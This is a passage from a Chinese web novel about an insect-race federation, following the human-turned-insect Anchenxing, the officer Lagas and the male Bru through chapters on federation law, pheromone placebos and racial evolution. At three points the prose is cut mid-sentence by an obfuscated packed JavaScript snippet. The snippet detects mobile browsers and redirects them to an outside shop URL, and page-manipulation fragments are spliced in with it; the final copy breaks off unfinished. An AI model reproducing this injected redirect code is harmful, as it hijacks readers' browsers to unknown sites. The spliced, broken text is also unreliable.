值班虫喜形于色，心情大好。他的等级是单S，常规下只能分配到B级阁下接触卡。若是这回能一次性得到两张A级阁下接触卡，定能极大程度地改善他的意识痛，如果正好碰上阁下心地善良，愿意怜悯他进行深度接触，那他精神域的损伤也不是没有修复的可能了…… 见他想入非非，伊洛催促道，“你先别急着做梦！快给我说说啊！” 值班虫缓过神来，“咳咳！那你听好了啊，”他用手指了指伊洛图表上的几行数据，“这个，还有这个成分，都是雄虫使用［特能］后短期残留在体内的映射粒子，而这个，是雄虫体内自行分泌出的用于降解映射粒子的一种调节激素，我们将之命名为TN素。” “……什么？”伊洛思考停止运行两星秒，表情懵懵，“你说的［特能］，是那个传说中只有三S级雄虫才有可能激发出的［天赋特能］？” 值班虫早料到他是这个反应，脸上笑笑不说话，让他自行体会。 伊洛的神色转变为一种震撼，声色发抖得厉害，“不可能……这不可能啊……传说级雄虫不是早在遗失纪就被迫害死绝了吗！？” “你冷静点，我完全理解你，几年前我刚升到总院第二十序，得知这一情报也是你这个泥泥星熊样。事实上，距这里仅一百星里的圣彼西科首序殿此时此刻就关着一位传说级阁下，不然你以为你手上的这些数据是哪里搞来的？” “……”伊洛还是一副劝不动的骇然模样。 他说不出话，也不能说话。如果值班虫知道这份数据的真正来源，那可就麻烦了。 伊洛脑中浮现那位有着异色眼瞳的美丽阁下，连带起他的脆弱、易碎、苍白、无力、以及始终一言不发的冷然。 啊……虫神。 啊……阁下。 您竟是一位传说级阁下。 您究竟是经历了什么，才会连使用［特能］都没能避免遍体鳞伤的结果？ 耳边还在传入值班虫越讲越起劲的话音，“你知道吗，伊洛，新世纪元起始至今的将近四万年间，其实断断续续出现了十几位传说级的阁下，但全都被联邦关而不表，深度警戒。” 伊洛声音有点哑，“为什么？” “肯定是害怕又觊觎［特能］的威力呗！不过具体内幕大概只有历史院的一些前序虫才能知道点。”值班虫看着伊洛，继续说，“但是为了让你能更好地交差，我再送你一个九成九真实的小道消息……你猜猜那位阁下的［特能］是什么？” “是什么？” “［全知］。” “全知？” “对！所以一旦让他逃掉，那联邦的统治也该结束了。” ———— 在安辰星眼里，佐·莱伽斯无疑是位思绪深重、满心算计的虫。 自私自利、野心蓬勃、桀骜唯我、无情冷酷，任何不算良善的字眼往他身上贴，似乎都感觉不到突兀。 佐·莱伽斯奉行相互利用、利益至上的原则，所有虫都可以是他的棋子，他也可以在所有虫的棋盘上。 他总是将自己真正的意图藏于阴影之中，让虫永远猜不到他在想什么。 于是在曾经很长的一段时间里，安辰星甚至都没有意识到，这虫竟然是真的爱自己。 哪怕他们在数不清的夜里无数次翻云覆雨，交融压抑地喘息，身躯紧密地贴合。 因为他们之间的关系始终很奇怪，也很别扭，不像友人，更不像情人。 大概有一点像领帅和参谋，主人和宠物。 但更像什么也不是。 所以安辰星感到疑惑。 在第一总指惨痛又漫长的星际叛逃告终的最后，莱伽斯在浩瀚无垠的宇宙间停下指挥舰，一头夺目的金发熠熠生辉。 联邦曾用荣耀支撑过他的骄傲，也用罪恶毁灭了他的希望。 莱伽斯在指挥舱平静地下达反击指令，霎时间，所有的战舰开始发起自杀式冲锋，愿为捍卫信念誓死而战！ 安辰星也知道到了最终时刻。 他在后方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058246|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着莱伽斯的背影，说，“你可以投降，把我交给圣彼西科，反正我到现在也没有激发什么［特能］，他们一时半会也不能对我做什么，以后的事情以后再说。” 见虫没反应，安辰星心中明了，继续道，“你要是不想也可以，说实话，能和你们一起泯灭在无限宇宙之中，是我安辰星的荣幸，我不讨厌这种结果，真的，我甚至还觉得挺浪漫。” 莱伽斯这时缓缓回过头，琥珀色眼瞳无怒无怨无悲无恨，只是冷。 突然一个极快的闪现晃了安辰星的眼睛，下一刻他感觉到有什么东西划开了他的胸膛！ 那是莱伽斯虫化的骨翼！ 安辰星倒坐在地上，痛苦地捂住伤口，内心不解又震撼，“你？你做什么！你想要我死在你手里吗？咳！咳！” 安辰星咳出一口血，忽的惨笑一声，“不是吧长官，都这时候了你那古怪的占有欲还要发作吗？我说了愿意跟你们一起死那就是真的愿意！你大可不必戒备怀疑到这份上！咳！咳！” 莱伽斯沉默地弯下腰，将安辰星横抱起来。 他平时很少这么做，因为安辰星似乎并不喜欢。 在莱伽斯操作主舰放出星辰号的那一时刻，安辰星猛地明白过来他要做什么，“不……” 莱伽斯抱着安辰星走进星辰号，将他放在柔软而舒适的驾驶位上。这是由安辰星设计，面向雄虫的一款也是唯一一款远洋出行舰，能够满足多次连续阶跃的需求。 莱伽斯用骨翼一击洞穿这里的星空定位盘，然后他稳稳按下无目的连续阶跃的指令。 他俯身去亲吻安辰星的脸颊和额头，“安，换在从前，我肯定要么杀了你，要么和你一起走，毕竟那时的我没有爱，也没有责任。” 他喉结动了动，接着说，“圣彼西科是地狱，我当初看着佑进去，直到他死都无力挽回，一定不能再看着你进去。” 他没有流露出悲伤，却流下一行泪，“但我也舍不得你死，我爱你，不……” 他最后说的是，“我爱您。” 说完他即刻激活了全身的虫纹力量，张开强大的骨翼，飞出了星辰号。 星辰号舱门合上的同时，阶跃的计数表开始跳跃得如秒表一般快。 很多个瞬间安辰星想要回头。 可不能定位，就没有方向，便无法回头。 “骗子！” 安辰星始终认为自己是一名地球时代的人类，他也将心中所剩无几的情感尽数给了故土。 可在那时，想去拯救的念头充斥了他的脑海。 绝望、愤怒、不甘。 人类、虫族。 自由、生存、火种。 咔——咔—— 叮！！！ 清脆的声音响起，那颗如钻石般璀璨的雄核应声碎裂！连带着许多相近的肋骨也纷纷被这股浩瀚的力量所震断！ 安辰星一度昏死过去。 在他意识全无的时候，不断往上跳跃的计数表已经放缓趋于停止，牢固的星辰舰开始不堪重负地崩坏震荡！整个宇宙星空霎时间流转变迁！ 那是传说级雄虫的特能——— ［时逆］！ 12. 联邦律法 费米德星区，第一娱乐星，军舰岛。 佐·莱伽斯通常在阶段性任务完成之后，会选择在主星区的莱伽斯家族居住几天。 但在听到联邦第六序主席安排的新任务内容后，他当场就决定即日返回费米德与雄虫布鲁进行对话。 因为本次的任务是，接回E86特研星球的各类权限者，以及带回有关造雄计划的研究数据和设备。 不过……莱伽斯低眸看智脑。 那只异眼雄虫找他做什么？ 正想着，智脑又弹出一条消息。 【我们聊聊。】 莱伽斯本想直接放置，但不知怎的就给回复了一下。 【晚点吧，我这边有事要先处理。】 他发完后收起智脑，临走时智脑又响了两声，犹豫一瞬，他还是打开来看。 【直接来我这，我也叫布鲁过来了。】 【你们当着我的面谈。】 莱伽斯动作一顿，发了个问号。 ———— 在费米德星区坐阵的高等雄虫，是各有各的情况。 在此说说虫族联邦关于雄虫归属问题的规定。 根据联邦基本法《雄虫保护法》第一章第一条规定，所有诞生的雄虫在法理上归属于虫族联邦，即雄虫公有化制度。 根据联邦管理法《雄虫安置法》第三章第十一条规定，符合虫族联邦界定的一切供养雄虫条件的各大下设部门，可以通过耗费过往杰出贡献奖赏额度，向主星提交随机或指定雄虫坐阵申请文件，再由主星严格核实审查后，给予通过或驳回通知。 根据联邦管理法《雄虫权益法》第一章第三条规定，雄虫在坐享虫族联邦及其下设各大部门权益的同时，必须严格履行其所处地区推行的《雄虫义务接触规定》。 雄虫音里就属于这一类。 他自出生起便被根据资质送到了圣彼西科第三殿，进入适龄期后等级达到了A等，很快晋升至第二殿。后来又被第一总指申请成功，坐阵费米德星区。但无论如何，他都不能逃避自己的义务责任。 显然，越是强大的部门，能够申请到的坐阵雄虫就越多，就越是能够吸引雌虫权限者加入，进而就越是强大。 联邦不允许也绝不姑息任何集体或个虫私藏雄虫的行为，每只雄虫自诞生起就要被主星登记在案并进行公示，日后如果被申请流出主星，也必须由其所在的地区进行公示。 倒不是完全没有合法拥有雄虫的渠道，但其资格的达成和所需的代价实在太难太高。 根据联邦管理法《雄虫安置法》第五章第一条规定，为虫族联邦做出不可磨灭贡献的家族，可以通过归还联邦赠予的一半责任辖区来留下一位家族诞生的雄虫。 而雄虫布鲁就属于这一类。 当初坎贝尔家族为了留下他，一次性返还所辖星区多达八个，其中还包括了两个优秀星区。 家族雄虫不同于联邦雄虫，他们完全属于家族，不需要履行义务接触规定。他们可以凭喜好娶入雌君和雌侍，壮大自身家族，开枝散叶，理应是虫族中最幸福感最强的雄虫。 值得提一嘴的是，由于有资格且有魄力留下雄虫的家族实在少之又少，所以虫世间的大多数虫其实都是联邦义务接触制度下诞生的产物，即只有雌父，没有雄父。 ———— E86特研星球因为有其特殊的研究课题和战略意义，所以即便是现在计划暂停，联邦也不会给大伙开放娱乐纠缠网。 于是科研虫们整天除了研究些个虫的兴趣项目、瞎聊彼此间的八卦糗事、逗逗可爱的小造虫安辰星之外，便只有默默地等待来自联邦的资讯了。 主星的一条大约长度为三十星秒的信息，他们要耗费整整一个小时才能接收完毕。 但这已是最好的通讯手段，如果不采用内部纠缠网而是通过原始的光速传播法，那根本就不可能实现沟通。 因为从主星到E86特研星球的距离有2.5万光星年。 安辰星在生理年达到16的时候稳定进入了适龄期，次年，凯特文也进入了衰老期。 自打成为一名虫族以来，安辰星无数次看见凯特文在夜晚望着遥远的星空，听见他唱着关于坎贝尔阁下的歌谣。 一天，安辰星又在平坦的溜溜草坪上找到他的便宜雌父，说，“凯特文，该回家了。” “真希望你叫我一声雌父啊，唉，越长大越不可爱。”凯特文大概是真的老了，竟然第一次主动讲起他和坎贝尔阁下的故事，“我从来不敢说我配不上他，因为他一定会生气，但我是真的不配，所有虫也都知道我不配。” “他不仅是A级，还是万中无一的家族雄虫，生来自信、张扬、美好、万众瞩目。他的未婚雌君高居联邦第十二序，几位未婚雌侍也是各有各的手腕，而且没有一个低于双S。” “这般比下来，我一个小小的A级科学权限者，就完全不够看了。” 安辰星挑挑眉，不合时宜地说，“你确实不行，不然也不会被强制调剂到E86这个连吱吱鸟都不拉屎的地方。” 凯特文瞪了他一眼，“没大没小！你还听不听了？” 安辰星实说，“你那自我催眠的妄想故事，我还真有些不想听。你既然说那位阁下爱你，那他为什么不来看你？我检索过主星大家族的序列，坎贝尔家族位列第五，不至于掏不出一个十亿。” 凯特文叹气，“你不懂，当初我和坎贝尔情投意合私定终身，是遭到坎贝尔家族激烈反对的。之后我被排挤出主星，他被关起来反省，怎么想他都不可能有得到贡献点的办法。” 安辰星微微一笑，说，“我怎么听说是你身为特聘□□品行不端，勾引了尊贵的学生阁下呢？” “艹，你听谁说的？研究所那帮雌孙子就是嫉妒我，才会抹黑我！” “好了，你现在一把年纪了都，”安辰星还是不 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再者，若将主星的流速定为1，E86特研星的流速定为122，乐观假设第一总指全程行军节奏一致、且途经各地的膨胀逆差大体相抵，则可定舰内的流速均值为61。 结论，以E86特研星的时间衡量，从第一总指动身出发到真正抵达，理论所需的等待时间仅为22天，不到一个月。 可惜，只是理论。 直到凯特文满怀遗憾离世，第一总指的舰队也还是没有登陆。他的衰老期只有五年，比任何虫预料的都要短。 安辰星行使了所有虫都不理解的地球风俗，在溜溜草坪上为凯特文立了一座墓碑，只是上边没写凯特文的名字，而是半嘲讽半缅怀地写着：一只痴傻相思虫的墓。 安辰星平静地将自制的野生果酒浇在墓碑上面，晚间的凉风将他黑色的发梢吹得浮乱，他清冷的声线淡淡，“你那阁下有什么用，最后还不是得靠我给你送终。” “行吧，以后我离了这里，如果有机会见到你那什么坎贝尔阁下，一定帮你问问他还记不记得你这位老相好。” 安辰星说到这，又忍不住自嘲一笑，内涵一波“速度极快”的某指挥部，“当然，前提是在我老死之前，第一总指能把他的龟壳开进E86。” 次日，安辰星谢绝所有问候虫的帮忙，独自一人给凯特文整理遗物。 当他终于打开那个自小就一直锁着的橱柜时，里面摆放的东西让他大为震惊。 那是联邦五年一分发，从罪犯雄虫身上提取研制的信息素安慰剂！ 安辰星心思激荡，颤抖着嘴唇数了一数，竟然足足有53瓶！ 这说明凯特文在被迫加入E86计划以来的265年中，一瓶安慰剂都没有喝过！ “难怪……难怪你那么快进入衰老期……又那么快就死了……你就，就这么爱他吗？” 13. 尖端科技 费米德星区，第一娱乐星，月夜殿堂。 布鲁轻轻敲开安辰星的卧房，看到那只特别的黑发雄虫此刻正穿着松软的棉质米色睡袍，坐在书桌前摆弄些东西。 大概是因为雄虫入住还不到一天，这个房间的布局很是常规，并没有染上屋主特定的某种风格。 不过如果他了解安辰星的话就会知道，安辰星根本就没有自己的风格。 除非必要，安辰星不会随意改变物体的状态，这是他从人类逆熵运动时代就养成并保留下来的习惯。 逆熵运动，即在整个太阳系熵增过大的恶劣环境下，所有人自发地减少对任何事物造成混乱的行为，是21世纪环保运动的升级版本。 布鲁抬脚进屋，安辰星转过头来看了一眼，又指指自己旁边的一张椅子示意他坐下。 布鲁便没客气，今天他将一直藏着的心事说出来，潜意识里就对安辰星产生了亲近感，“你找我过来是想继续下午的话题……嗯？这个不是研究用的一次性取样模吗？你怎么会有这个？” “你知道这个？”安辰星饶有兴趣看他。 布鲁露出怀念的眼神，“当然，以前……以前他就喜欢随身带着这个东西，遇到什么有意思的就取样回去研究……” 说着说着，他又像是被刺痛般，越说越慢。 仿佛没有察觉到他的变化，安辰星平静地将话题接了下去，“我明白，我有很多亲虫是科学权限者，他们都有这样的毛病，所以我才会也随身带着这个，如果碰上疑似值得研究的东西，便会顺手帮他们采集下来。” 然而布鲁却敏锐地捕捉到了异样之处，神情变得有些不自然，“你是家庭集团雄虫？” 安辰星不由微微一怔，继而失笑，“差不多吧。” 他轻轻撕开一张透明取样模，同时半真半假地忽悠道，“我嘛……出生的星球比较偏远，家虫们本事一般，胆子却大，硬是把我的存在给瞒了起来。” 布鲁直接听愣了，不知是信还是不信。 安辰星瞧着有点乐，继续说，“后来有一次，我被路过的背叛军注意上了，所有的家虫为了救我统统和叛军同归于尽，再然后我碰上第一总指，就来到了这里……” 布鲁这下是缓过神来了，安辰星明显是在逗自己玩呢，世间哪会有这样的离谱的故事，“也就能骗骗音里。” “音里是大智若愚，坎贝尔阁下。” 布鲁反射性地皱眉，有点不高兴，“故意埋汰我？” “不敢。”安辰星面不改色中止这个话题，然后对他摇摇手中的取样模，“尊敬的阁下，请允许我采集你的几滴血。” “……”布鲁虽然百般不理解，但还是没辙一般亮出了自己的胳膊，“如果你不是雄虫，我会觉得你多少有点变态。” “建议你不要以性别看虫。” “你的意思是无关性别，你就是变态？” “阁下，我没想到你这么健谈。”安辰星轻轻一笑，只取了布鲁一毫升的血液就开始封存。 看着自己的血液样本，布鲁有些许出神，又突然追问道，“你之前说要帮我，怎么帮？” 仿佛能够准确猜到他的思路历程，这一刻的安辰星垂下眼帘，轻缓地说，“会没事的。” 话音刚落，莱伽斯敲响了门。 其实门一直没关，他只是提示性地敲一敲门。 金发少将英俊的脸上神色冷淡，身上还是早上的那套第一总指的军制服装。 没有虫知道他是什么时候来的，又听到了多少。 见是莱伽斯，布鲁刷地一下从椅子上站起，又迅速低头去看安辰星，心中感到了一丝担忧。 沉寂几秒他对莱伽斯开口，语气尽量客观但底气似乎不足，“他的雄核还没恢复好，不宜……进行接触。” 佐·莱伽斯闻言没说话，只是用询问的眼神看着安辰星。 “布鲁，是我叫他来的。”安辰星主动解释一句，又对莱伽斯轻轻颔首，“你先进来，把门关上。” 没想到是雄虫自己“能耐大了”，布鲁这会还有什么可说的，“好吧，你们如果非要搞，好歹让我先出去……” “呵……”安辰星终于是忍不住笑了一声。 紧接着他缓缓站起身，改坐在自己的床铺上，又用手背有意无意从床单轻触扫过，似乎是含有什么不可言说的暗示性意味。 莱伽斯迈步走入卧房合上门，凝视着雄虫的目光无动于衷。 这只虫到底在作什么妖。 安辰星抬首，异色眼眸蛊惑十足，浴袍领口下的肌肤白如凝脂，漂亮极了，“莱伽斯，你不是有事和布鲁说吗？就在这里谈吧，不然我大概会吃醋。” 布鲁顿时一脸见了鬼了，这什么？ 莱伽斯没有被雄虫挑逗性十足的神态和话音引去注意力，他直接问道，“你是什么派系虫？有什么目的？” 然而安辰星看过来的异色眼眸显得相当无辜，“我刚刚说了，亲虫家虫全死了，如今孤家寡虫，不信你可以去‘问’。” 莱伽斯闻言冷嗤，这家伙居然连佑的存在都知道。 不过此番话倒也提醒了他，今日佑使用［特能］，明确肯定雄虫没有问题，可以放心留着。 这里打情骂俏的，显然不是能待的地方，布鲁迈步准备要走。就听见莱伽斯忽然单刀直入地对自己说，“阁下，我确实有事要告诉你，就在四个小时前，E86计划正式停止，联邦特命我军带回那里的权限者和设施。” “什么……”布鲁脚步猛地一顿，不敢相信。 历时五十多星年的绝密计划，就这么轻飘飘地停了？ 布鲁深灰的眼眸顷刻间盛满了动摇，然后他征询地，小心地问道，“那你……能帮我保下他吗？” 凯特文得罪过以坎贝尔家族为首的利益集团，如果回来没有虫庇护，下场可想而知。 “当然，阁下。”莱伽斯没有拒绝，因为这对第一总指来说不算难事，“只是你和我的合约还没有完成。” 当初他俩定下合作，第一总指为布鲁抗下坎贝尔家族和其他利益相关的各方势力给予的压力，给布鲁提供一条自挣贡献点的渠道。 而布鲁则是要在这一时期，尽可能地为第一总指安抚所辖星区的权限者，直到双方完成十亿的交易为止。 “我还差三亿，等你把他接回星区……” 布鲁脸色发白，明显连自己都说服不了。 莱伽斯也直接道出了此事的不可行，“如果我军把他接回来，你还能像现在这样这般过吗？” 布鲁彻底哑然。 一旁的安辰星像是事不关己般面色无波。 他一会拨弄自己的修长的指节，一会去低头瞧自己脚上的拖鞋。 他发现拖鞋上面印刷着一只阿骨怪，仔细看还是异眼的，十有八九是音里要求定制的。 他又半神游地想道，通常阿骨怪寿命较长，且性情温和…… 短暂地沉默后，安辰星听见莱伽斯再次对布鲁开口，“而且你让他生活在这里，整日面对你曾经接触过的各类雌虫，他会是什么心情。” 布鲁无言以对。 莱伽斯接着说，“还差的三亿，或许第一总指可以替你出，你有了［行走资格］，可以和他到一个没虫认识你们的地方重新开始。” 这时布鲁眼中闪过期待的光芒。 莱伽斯自然没有错过，继续补充，“但是三亿不是小数目，何况它本就是我们先前约定的内容之一，第一总指为此已经损失了很多A级接触次数。” 布鲁明白第一总指不会白白给出三亿，“不妨直说。” 莱伽斯没有避讳，“我们一直致力于找到一种能够稳定‘培养’S级阁下的方法。” 布鲁下意识看了安辰星一眼，又重新回视莱伽斯，“试禁药？可你们现在已经有了安辰星。” 莱伽斯不否认他的话，“没错，换在以前或许很紧急，但现在全看你的决定。无论如何，合约是绝对的，和我们当初定下的一样。” “我知道，我需要时间考虑。” “自然，在你决定好之前，第一总指会等你。” 布鲁满怀着心事离开。 房里只剩下莱伽斯和安辰星。 雄虫轻轻用手拍了拍身边的位置，故意有歧义地问雌虫，“要坐吗？” 莱伽斯冷笑，用气势威压，“你想帮他？还是以这种方式？这可不是你谈判的筹码，因为你本身就是第一总指的东西。” 他刚刚和布鲁对话没有避开安辰星，不是为了满足安辰星的诉求，而是想借此给他一个忠告——若是连自己的处境都左右不了，就更不要说去掺和其他虫的私事。 只见安辰星眉眼一弯，笑了，“不用那么上纲上线，我只是想问你一会有没有空，带我去一个地方。” 安辰星今天让两虫来自己面前谈，就是想弄清楚他们当初究竟是发生了怎么样的对话，才会让第一总指硬是拖了将近两个星月才堪堪出发。 ———— 费米德星区，第一娱乐星，军舰岛。 再一次看见星辰号的时候，安辰星好像想了很多，又好像什么都没想。 外观残破的舰体已经全然看不出“昔日”的辉煌，更别说什么“未来”的大气。 主舱门在之前就已经被破开，安辰星徐徐走入，还能看见自己留在驾驶位上的干涸血液。 他没做停留，继续往星辰号内部走去，末舱设有一个暗室，希望那里没有遭到太严重的损坏。 莱伽斯跟在他的身后，这只雄虫相当聪明，随时都有可能耍花招，他不会让虫离开他的视线，他甚至还激活了部分虫纹力量。 安辰星来到末舱，用眼瞳识别打开了暗室的门，瞧见里面的设施基本完好，他真正松了口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13058248|137607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是他的科研实验室，准确来说是他跟着第一总指叛逃之后费尽心思导入的一套精细实验设备，能够满足他的绝大多数研究需求。 显然没有料到是这般光景，莱伽斯露出了难得的愕然神色，“你……” 他想起安辰星不久前和布鲁说的身世，心道这虫难不成还真是科学权限者们私藏起来的雄虫？ 安辰星倒是不急着说明什么，来到这里就是进入了他的主场，一切由他把持。 他先从消毒箱中取出几条空试管，又从相邻的冷藏柜中精心挑选了几瓶溶剂，再全部拿到实验台上。 然后他掏出身上那份布鲁血液取样模，开始认真地用针管汲取到各个试管中，紧接着用溶剂配套的滴管依次往里滴入溶剂进行融合、调节，如此循环往复。 莱伽斯无声地看着他做这些，内心却早已是惊骇万分。 此刻的安辰星不再像一名供虫赏玩的雄虫，而是像莱伽斯每每在科学院中见过的那些醉心于研究的科学权限者。 联邦的雄虫不可能有权限，一是不需要，二是没那个环境。 于是莱伽斯不免对安辰星的身世又信了一分。 至于莱伽斯会怎么想，安辰星多少是能猜到一点的，不过他是真没有故意在耍帅，布鲁的血样并没有提取很多，他想要完全不出差错，还是需要花一点点心思的。 十五分钟后，安辰星拧好五瓶成品，停下了动作。 他也终于看向莱伽斯，两虫四目相对。 莱伽斯的目光如炬，已经没有了之前盛气凌人的轻蔑模样，正在等他主动开口。 安辰星轻轻笑了笑，指了指成品，语调自信，“信息素安慰剂，保证比联邦下发的品质要高出好几个量级。” 莱伽斯一听表情又变了。 信息素安慰剂制作技术和雄虫核心修复技术一样，是由联邦主星垄断的遗失纪尖端技术，并不被公开于众。 如果能掌握这门技术…… 如果有这门技术…… 野心勃勃的莱伽斯忍不住想了很多，但他仍然警惕且疑惑，“你怎么会有联邦的技术？” 安辰星一边洗手一边平静地做出否定，“不，不是来自联邦，这是我们团队自行研发的一项技术。你也看到了，一毫升的血液就可以制出五个标准瓶，这个转换率远远甩了联邦十八条街。此外，我们还加入了一道脱敏步骤，雌虫服用后不仅可以有效缓解意识疼痛，且不会对源头特定雄虫的信息素形成生理性依赖。” 看着莱伽斯变得直勾勾如猫般的琥珀眸子，安辰星觉得心里舒服极了，诱惑道，“想要吗？” 之前雄虫那句“要坐（做）吗”都没有在心中溅起一丝波澜的莱伽斯此刻却感觉到了好似被欺辱的羞恼。 他默默平复了一下情绪，才保证住声线的不冷不热，“好，安辰星，我承认你是具备筹码的，你提要求吧。” 安辰星轻笑出声，“这五瓶就当是我友情赠送给第一总指的，你拿去找虫验验品质，是实是虚自然便知。” 莱伽斯点头，等待他的后话。 安辰星对雌虫现在的表现很满意，语气轻快，“以当前联邦公示的A级安慰剂卖价来看，三个亿的贡献点差不多能买150瓶，如果你同意和布鲁交易，一星期之内，我会用他的血给你做300瓶。” 莱伽斯听到最后微微有些怔愣，但很快恢复，“真是令虫敬佩，如果安慰剂是真的，我同意了。” 又问，“可你为什么帮他？” “那你呢？”安辰星平静地反问，述说出一个事实，“坎贝尔家族从未通过他的脱籍申请，对外也只是称他在费米德星区度假，所以让他参与联邦活动严格意义上是不符合程序的。而你如果不给他这条赚取贡献点的渠道，第一总指的政敌能够直接少一半。” “我没有帮他，互相利用罢了。”莱伽斯表情忽然变得冷漠，“一个不需要花费联邦奖赏额度的A级雄虫，几位政敌又算得了什么。” “那我也没有帮他。”安辰星有样学样露出同款“冷漠”表情，“只是一时手痒想炫技，顺手的事。” 见雄虫这样模仿自己，莱伽斯又感觉有点恼了。 好在安辰星对他了解颇深，很快回归到浅笑，说，“我再跟你提一个私下交易，你如果能帮我办成一件事，以后我每个月都给第一总指提供50瓶这样的高品质信息素安慰剂，当然，各种制作的原材料需由你们提供。” 莱伽斯果不其然被此条件诱惑，“你想办什么？” “如果我没记错，音里的适龄纪念日快要到了。” “所以呢？” 莱伽斯竟然沉不住气地主动追问，看来他是真的很迫切。 只听安辰星漫不经心道，“他曾经拥有一只异眼阿骨怪，但是被首序殿的特等抢走了，我要你想办法帮我把它讨回来作为我送给音里的纪念礼物。” 14. 种族进化 安辰星所处的37世纪末，人类虽然还没遇上除自身以外的智慧种族，但也凭着已有的生物学体系和历史学体系，摸索出了一些关于智慧种族问题的逻辑性推论。 其中最广为人知的一条是：一个种族进化的方向，要么向内朝着［自身］，要么向外朝着［科技］。且在无刻意选择的情况下，二者不可能并行发展，只能由科技反补自身，或者由自身反补科技。 比如人类就是十分典型的，自身——科技——自身——科技模式。 在原始时代，人类首先是靠着发展种族自身的大脑和肉.体，逐渐登顶成了地球上的最强势的物种。 进入农耕时代后，人类自身发展趋近停止，科技发展开始不明显地起步。 进入工业智能时代后，科技发展明显加快，医疗、武器等科学技术开始反补人类自身寿命和单体打击能力。 进入熵增时代后，由于环境急剧恶化，科技发展一度停滞，不计其数的人类死亡，自身发展又重新占据主导。种族大脑实现进一步扩容，肉.体的抗磁、抗电等环境适应能力显著增强。 进入逆熵运动时代后，人类开始主观选择种族的进化方向——发展科技。 这个方向的定夺完全没有引起任何不同声音的争论，是唯一权威政府成立之后，耗时最短、耗费最少通过的决议。 因为发展自身需要以海量人口为代价，有意识地去筛选同类和扼杀同类，不符合人类文明的价值观，况且当时的人类已经没有剩下多少人口。 而在《关于保留人类火种的两个攻坚方向》的指导性文件出台后，更是肯定了发展科技是人类种族进化路线的不二之选。 攻坚方向一［制造远航舰队］需要科技的发展作为支撑。 攻坚方向二［启动意识实验］同样需要科技的发展，且还得高度发展到能够反补自身的程度。 安辰星刚到虫族的时候，瞧见周围满满的都是什么研究者、学者、科学狂虫，就下意识地以为虫族这个种族是和人类有着极其相近的进化节奏的。 即，向内发展自身程度较低，向外发展科技程度较高。 直到有一天…… 他看见旁边两只急了眼的虫族突然虫化打起来。 ———— 凯特文离世后的半个月，第一总指的舰队终于抵达E86特研星，那时安辰星的生理年是21。 安辰星和一些权限者登上其中一艘战舰，准备好好体验一把虫族所谓的黑科技［空间阶跃］。 结果在第一次阶跃就直接晕过去了。 甚至在倒下的前一瞬间他灵活的脑瓜子还在想——剩下的两百多次该怎么过啊。 “啊！”离他最近的一位科学权限者连忙抱住他，似哭似嚎地叫道，“虫神！我们可怜的小辰星他才进入适龄期没几年，根本承受不住如此频繁的阶跃！” 其他权限者愤怒附和，“对！你们怎么忍心让他乘坐这种野蛮粗糙的军雌战舰！必须给他转移到强度最高的军舰！” “必须转移！” “呜呜呜，他可是我们看着长大的孩子啊……” 一旁守卫军雌见状愣了愣，虽然说亚雌是比较娇弱，但不至于娇弱成这样吧？而且这批权限者里亚雌也不少啊，他们也都没事啊…… 再瞅瞅那昏迷的亚雌，长相漂亮得有些过分了，如果不是没有精神力场，配上这娇贵的体质，大概真会被错认成阁下吧。 这些权限者们都是联邦的宝贝，更是本次任务的重点。守卫军雌也不敢得罪他们，商量着开口，“我们二十多艘战舰都是统一规格的，要不各位忍一下吧？都是雌的，能出什么事啊……” “忍个吱吱鸟！我们辰星才走了雌父没多久，如今正处在虫生中最脆弱的时期！你们究竟有没有虫性？！” “这么快就忘本了？他雌父的！你看看你的战舰、你的辅助装备、你的智脑，哪一样不是我们科学权限者给你一把怀的一把蛋的给孵出来的？！” “就是！我们辰星可是小小年纪就共掌［科技］、［文明］两大权限的顶级虫才！真出了事你一个小军雌担当得起吗？他雌父的换舰！必须换舰！换进指挥舰！” “嘶……”那守卫军雌倒吸一口气，压根控制不住如此沸腾的场面，便赶忙联络呼叫部门上报情况。 其实权限者们平日并不是不讲理的，只是他们现在只能通过把事情闹大，才能保住安辰星。 因为之前联邦高层为了避免安辰星被某些目的龌龊的有心虫盯上，禁止权限者们公开其造虫的身份。 而他们作为E86造雄计划的实施者，都心知肚明安辰星虽然没有孕育出雄核，但体质可是实打实的雄虫，根本不可能在普通战舰中承受两百多次的阶跃！ 在这里，唯有联邦高强度材料制成的第一总指指挥舰可以保护他！ 第一次阶跃顺利完成，耗时6分时32秒，进入校准自检阶段，预计需要25时分。 脑内的疼痛感渐消，安辰星在权限虫们关爱的眼中悠悠转醒，听见不远处有军雌在呼叫汇报，“报告总指，V16负责对接的45名权限者中出现一名罕见的阶跃不耐受亚雌，重复一遍，V16负责对接的45名权限者中出现一名罕见的阶跃不耐受亚雌，请指示。” 很快，舰内装备的录像提示灯闪了两下，这说明总指挥舰已经顺利接通了这边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 